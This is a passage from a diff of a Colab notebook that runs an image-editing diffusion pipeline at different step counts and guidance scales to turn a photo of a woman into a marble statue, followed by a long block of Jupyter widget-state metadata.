"referenced_widgets": [ + "05328f40cf5642359294af84f26355c3", + "792bda382a844c8a9bd9c9de789b44ac", + "db498aee51494067b6ad507e47f37bd4", + "2b7aaec231e244b1899f99e893b053df", + "3c3af60f4f07476c8700910b4259a066", + "1bbd2bbca0c04df982278b7c24c8c320", + "ee190ee62fb24dacb96d9b57e562c3b9", + "ce20d1f9a55a42518c521eb5a1c8b414", + "f019b7a1faf1469c87b048319a9b71ef", + "4afa3f9ee15546c1979113f0e618efcf", + "fa37cd2e2ac94455ab624a75eb0a105d" + ] + }, + "id": "fux7MnDwjW5h", + "outputId": "25cadb9d-9e09-4af1-c49c-7405517bc380" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=50, image_guidance_scale=1).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "0711e6b0af7e4905a8136cf407e2ae8b", + "901f71e702474e77be59006bba599918", + "1d10557816514c4bb08d957fdde13904", + "3bfe8491fdc84726a9a2ea2a9eb33884", + "c4f63d6416174604a065f2dc2b8775a7", + "e82bcca350364e229895710e7d145fbf", + "be553a7df92e48b687fc177f7ba3c5fd", + "9dc480c24e9844599de9f1e5e3638f33", + "dffb565d8879412ba6c9989b02cbe661", + "7be8f4522cdc41f08c69b4a36520eb5a", + "ebfab18cc7484b71bb252d4e242e3b40" + ] + }, + "id": "8_cahN3NjW8y", + "outputId": "dea98f5f-1d7c-45e7-bf5c-cae01347e182" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=30, image_guidance_scale=1.6).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "f001e880d8f3453a9395eb78329dbbc7", + "8b41d5c904a942a0bcee642499015089", + "84df3286d6044ab5aa6e8cb6c8d1b813", + "e0448b4988f643dd9f12e4fca280dbee", + "f259a8f8222c41eea77498acd6d4e4aa", + "7cfb6d760505428e9ffc07fe0fbca962", + "a66a0a813bc24011a91f56778e88244e", + "39a24d7b46f2428597c345b1d0ac8680", + "f48ce6b6925b4b058f8679d73c039ac8", + "75327980774b4419a9ec50f97a0c1d75", + "7adf45fac6804cbcbbe5d7c6cbdfd878" + ] + }, + "id": "A0vo9G6QjjMu", + "outputId": "16526be0-4602-4ede-9b02-a63b322f3866" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=50, image_guidance_scale=1.6).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "12300224bc654d47b7dd02e04835203a", + "dafd2b93bc6245a88e6631f306fc1e9b", + "59514b4f9b8f4930a1b07aad4ab19d25", + "c25bc0fc44214d9f8a5f4abba43eaf09", + "f76d97ab2a6e46d5891af7fc0c3f511b", + "f38555fda53a4edf92271a97db3f7dd5", + "8f135d6a55484caf92a325c375e16005", + "932741fa7e674b6595866eecaf746bc9", + "eb2855fb57d64857ab32fafd3a77b457", + "f40c98061f2946b1885193ee817c52a3", + "9a91880b909e4b05bf668c410f978ca2" + ] + }, + "id": "NhlQaACLjjO4", + "outputId": "939a5324-7595-434f-a4bc-2b53af54a0a4" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=100, image_guidance_scale=1.6).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "e416557198234698affa1b9410fa0967", + "cc1d355b4f6440fab9de50ccc5a268b8", + "9dec2df865ed4e8399c511f504e460f7", + "0439a988a2834c379b037e5faba17290", + "c0bb5873a4ca4462a28773a269a6c551", + "4e3739037f2b44d2bd1ecaa20b29d70c", + "79b4c9681b0d496ab86f77b6b4902ad6", + "04835e754bc84aa392f824e387a8b205", + "dffbab23b4c34df9b6f9e8ff6c1a1912", + "3f2fee0c35144daf8234caf57ad3907e", + "f0ad1221f0f84ac085df2315bd00d572" + ] + }, + "id": "TBNS9bghjjRd", + "outputId": "bd9c97e8-fb45-4dac-d8ff-9a2f95bc74fc" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=100, image_guidance_scale=1.2).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "ec6d2dd0f61e42478903c839bc3395ec", + "96127d57c04f45fd91dab7aa30607e63", + "a109094931b742ee9f4376e54d62660c", + "851980277e5e486a9962a2e7607be100", + "3d4c455dc8344c7b8b42a609322713e8", + "bc2730d310454290aedf3e63087213f5", + "ec3c6adaf7ed44469ac0a58490dd5159", + "2c4ab41623ca4ce3961c8a105536ecdf", + "36cb537e89324f54b767df1e24045108", + "0220a92b3977434dab97c2329e9f5013", + "c65c5e6845254d47b6b0370b306b9eef" + ] + }, + "id": "nSuYvr5kjjU4", + "outputId": "1774887b-ec10-43e1-b31c-b014ba67d6a5" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=100, image_guidance_scale=1.3).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "c2c64d6095704db88ec2210ae3cbfb35", + "94b45bc6f5e24cf3aa16f431bc7ed58a", + "3f197b982242418bb24f4156db991c19", + "a9d50ec01c8045af902bf580e92ab30c", + "ddebad755dce4da8887eb7f3d4dd49ba", + "1855195ecd9a4ba993c2a4e298d21a44", + "03098089aa0d4e879c1f50cce8384a4e", + "56310a7fb0804b43a60815c858d910c5", + "a401d37863744fd58fe863b27d6a562b", + "92d0bc42d43c46b2a720ee96e7353232", + "641c3e365227455c87baeb3597c44cde" + ] + }, + "id": "xUt10Q-xk8hQ", + "outputId": "568f516a-0675-4bbe-d51c-b2bffa6a6277" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=0.8).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "50b52602c923405eb91d1a4a7af8b5c5", + "9c621a99b504459590a39098afbe5d50", + "50207c4a7c9d439896796dd407c1c3da", + "bd4b11f4948c40fb8101049fa3754dde", + "041e8d74b5744f908e37407f4cdece4e", + "5c825455d85948b99f86b3495de63b29", + "516f366ed73b4ed0991a6a91fb22a3d8", + "e67431e7efe24016bcf04dfbcffc776e", + "e23ebecc8f5f4598a991da021d78ddd2", + "5189fa18ab144b5a93124e0b555d5677", + "43ac63628b35419cb9db5d234951e84f" + ] + }, + "id": "9TlXJNevk8jq", + "outputId": "a3d5effc-8c54-49bc-baab-305daa9a2621" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=0.6).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "abeaf2b96435442589d217ce731feaf4", + "c2b0ede066bf405593c66384d9548613", + "c3a851883eba4e11b70c705a5fae3ee2", + "c0c76cb4f1a04bfe86598e0e0dbffe23", + "bbac2ab035374103b2c4912aeda2e425", + "e11583de8d894d3da80ef3bb1fe52e08", + "48e9b5493b8f4191b9707df7c83b0f50", + "6f03e27712e84cc49ad1a665c7537f12", + "f3d1f71549674156b493e3771784ec68", + "39e7952fd2c34271a44ca997250a313c", + "4dc4d2c609eb40eaa6df50be567b2c61" + ] + }, + "id": "WRjTQNtkk8nE", + "outputId": "5c056095-0dea-483e-b632-18751f6c3267" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1.5).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "330eb2500161464db0d797d2f04e550f", + "8e7b4587729f4fe597e2342b9e8c5b06", + "c4d2925dd1dd40bab2b22f09bf9497e6", + "55470891a5ad41f2b04d3d5c86c1c934", + "0afcffbca4c1462ba2bc1d3cd1aa2c13", + "91f6c95c7ded4ca0a5fbf7d2f5b8eb67", + "4dc511c396c5492c8d707ba52783edcb", + "8ce35b01fc9a4b6fbdd650491a58f188", + "18885db0114b49ee8eeb0af098b9a8c9", + "9e6fae549ea447e89a0ab36ba19e5fab", + "d79c2804b05248d8989a1462716a3478" + ] + }, + "id": "Mg2Lb-zmlb5x", + "outputId": "4d02793b-0ee1-4f20-82bf-2dc4dd42e550" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1.5, guidance_scale=10).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "ac4c75c4296f46e39a0435d0dbafc277", + "916ddc4e29e448788ab4fdeb38d4a217", + "aa75dd567b114609a3f47591a002709c", + "b3c948132a7a42eab9a90a4c64d0087d", + "fbbee3ba802b41c084ee35dccc8bbabf", + "4d91d312e2ff43509652ce52d7d999d3", + "3808c4765a054dd0a2771050871177a4", + "532e652d4d5245c8b7579c4fda4217c3", + "4b313724533349be92ef5cb53c1388cd", + "4b39f1322aca40da82220ddcfa0c3975", + "0f564dbb7bc94fd4880dfd72e6547694" + ] + }, + "id": "cyMZAXBylb9O", + "outputId": "a625892a-f411-4f91-8d49-249d25fb2146" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1.5, guidance_scale=15).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "mIGaidaV2JJ4" + }, + "outputs": [], + "source": [] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 473, + "referenced_widgets": [ + "c964733e23d749a0bd2069fc80b5fce7", + "c30a4ba5e89d42bfbd3ad524b9ed1303", + "d9486e79630742c89fa5f6a104580064", + "2c0421659acb482295485521efb6bb03", + "1431d8d8d9b04038b4e774fd743b78cd", + "51a8aa7fde0c449392867b95a7aa6c16", + "d39253a104af48aab68a5590b0159487", + "acccd96a575d4a679112ff80c935f1c9", + "9038138255b442b7b17885ab7f31aed1", + "1766005fceb14bd5a1910622789cc5ad", + "b3ca161774d7404d903afbed855f054f" + ] + }, + "id": "Hh399h-cdtMe", + "outputId": "ad42fbd2-68d4-4b1d-f811-57c0fcbfbef3" + }, + "outputs": [], + "source": [ + "prompt = \"turn the red wooden stick to brown\"\n", + "images2 = pipe(prompt, image=images[0], num_inference_steps=10, image_guidance_scale=1).images\n", + "images2[0]" + ] + } + ], + "metadata": { + "accelerator": "GPU", + "colab": { + "collapsed_sections": [ + "CqAnOnnOcp4W", + "mPGPiJhXcsr4", + "6rAfgSFK3s-B", + "OU9zLHTR2H_j" + ], + "gpuType": "T4", + "provenance": [] + }, + "kernelspec": { + "display_name": "Python 3", + "name": "python3" + }, + "language_info": { + "name": "python" + }, + "widgets": { + "application/vnd.jupyter.widget-state+json": { + "0220a92b3977434dab97c2329e9f5013": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "03098089aa0d4e879c1f50cce8384a4e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "039beb2fc4c6412d9e05d9d50884e940": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_0cf59b40f6304ec38bdaaee06943173f", + "IPY_MODEL_63ecaa7f41ce4289aa768b77e9ceebe7", + "IPY_MODEL_2a8a4ed0b2854b558efd5acce8dcf5c2" + ], + "layout": "IPY_MODEL_19469649ab6b44f8b1d6408ac2646579" + } + }, + "03c6a309fc494734bd9ebf16634f9063": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "041e8d74b5744f908e37407f4cdece4e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "0439a988a2834c379b037e5faba17290": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_3f2fee0c35144daf8234caf57ad3907e", + "placeholder": "​", + "style": "IPY_MODEL_f0ad1221f0f84ac085df2315bd00d572", + "value": " 100/100 [00:26<00:00, 3.70it/s]" + } + }, + "04835e754bc84aa392f824e387a8b205": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "04ec14e8bc8f4ad5827e351c01e5a1ee": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "05328f40cf5642359294af84f26355c3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_792bda382a844c8a9bd9c9de789b44ac", + "IPY_MODEL_db498aee51494067b6ad507e47f37bd4", + "IPY_MODEL_2b7aaec231e244b1899f99e893b053df" + ], + "layout": "IPY_MODEL_3c3af60f4f07476c8700910b4259a066" + } + }, + "06e488fd0cbb44a79328b0c88392b650": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7af9fef14d3a4464aa16232f9d2cf94a", + "max": 569, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_c13cbe7f79d64c9a9ae4fb90a5cbef9a", + "value": 569 + } + }, + "0711e6b0af7e4905a8136cf407e2ae8b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_901f71e702474e77be59006bba599918", + "IPY_MODEL_1d10557816514c4bb08d957fdde13904", + "IPY_MODEL_3bfe8491fdc84726a9a2ea2a9eb33884" + ], + "layout": "IPY_MODEL_c4f63d6416174604a065f2dc2b8775a7" + } + }, + "09bc80852b334a6f9905c6d93eada57c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7bcb49396cf84ea6878d5ceddd480326", + "max": 10, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_8c8b4b87df9242318f1ceaf5fc00b216", + "value": 10 + } + }, + "0a2014cc648840249d57eb9c569e9fa1": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "0ace66c377a14034a594774ec024e074": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_9d28ea1de5494de5b911c1f120185b7a", + "placeholder": "​", + "style": "IPY_MODEL_9887290953b6414eacb4396a5b240a2e", + "value": "100%" + } + }, + "0afcffbca4c1462ba2bc1d3cd1aa2c13": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "0b695e5be5184a43a9f26b21f69a4338": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_0cc9773ba8b3455495375b0b955891e6", + "max": 1021, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_95adb39e73614c96af18ccb2468d5b37", + "value": 1021 + } + }, + "0c1419eec41b48f093ec53410c10c583": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "0cc9773ba8b3455495375b0b955891e6": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "0cf59b40f6304ec38bdaaee06943173f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_1cbc65f4245e4c25a64827f0e2beb08d", + "placeholder": "​", + "style": "IPY_MODEL_59e8c90ecdf04c2b89f9a539e7f7fdbb", + "value": "100%" + } + }, + "0ef6a22743594f0081b7af4c1ec4ab71": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "0f564dbb7bc94fd4880dfd72e6547694": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "0f79fff269c349648fb6e15bf127a7c8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_55e9c8210ea743939cdcdf6b873e00a1", + "placeholder": "​", + "style": "IPY_MODEL_7e4e6d45329a415cba65daa185369ad6", + "value": " 13/13 [00:48<00:00, 4.98s/it]" + } + }, + "12300224bc654d47b7dd02e04835203a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_dafd2b93bc6245a88e6631f306fc1e9b", + "IPY_MODEL_59514b4f9b8f4930a1b07aad4ab19d25", + "IPY_MODEL_c25bc0fc44214d9f8a5f4abba43eaf09" + ], + "layout": "IPY_MODEL_f76d97ab2a6e46d5891af7fc0c3f511b" + } + }, + "12694ca9da6c43eaa5640a47cea2d10b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "1431d8d8d9b04038b4e774fd743b78cd": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": 